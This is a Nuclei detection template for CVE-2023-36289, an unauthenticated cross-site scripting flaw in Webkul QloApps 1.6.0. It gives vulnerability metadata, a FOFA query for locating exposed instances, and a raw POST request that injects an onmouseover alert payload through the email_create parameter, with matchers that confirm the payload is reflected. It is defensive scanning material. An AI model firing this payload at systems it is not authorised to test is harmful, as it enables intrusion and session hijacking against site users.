id: CVE-2023-36289

info:
  name: Webkul QloApps 1.6.0 - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: |
    An unauthenticated Cross-Site Scripting (XSS) vulnerability found in Webkul QloApps 1.6.0 allows an attacker to obtain a user's session cookie and then impersonate that user via POST email_create and back parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    To remediate this issue, it is recommended to apply the latest security patches or updates provided by the vendor.
  reference:
    - https://github.com/webkul/hotelcommerce
    - https://flashy-lemonade-192.notion.site/Cross-site-scripting-in-POST-Request-via-email_create-and-back-parameter-in-QloApps-1-6-0-e05548203d744daf9047d82fc94b19b7
    - https://nvd.nist.gov/vuln/detail/CVE-2023-36289
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-36289
    cwe-id: CWE-79
    epss-score: 0.0112
    epss-percentile: 0.61933
    cpe: cpe:2.3:a:webkul:qloapps:1.6.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: webkul
    product: qloapps
    fofa-query: title="qloapps"
  tags: cve2023,cve,xss,webkul-qloapps,unauth,webkul,vuln
variables:
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        SubmitCreate=1&ajax=true&back=my-account&controller=authentication&email={{email}}&email_create={{email}}"%20onmouseover=alert(document.domain)%20y=&token={{randstr}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'onmouseover=alert(document.domain)'
          - 'hasConfirmation'
        condition: and

      - type: word
        part: header
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207337b59f9073c1070c6cb35fb2b0034be265a3a7cd977bd5669ee0432c5a84c9022100b05e68907ecb758a95174d219f70efec7211616811135ba2eed14fe7831ebcb9:922c64590222798bb761d5b6d8e72950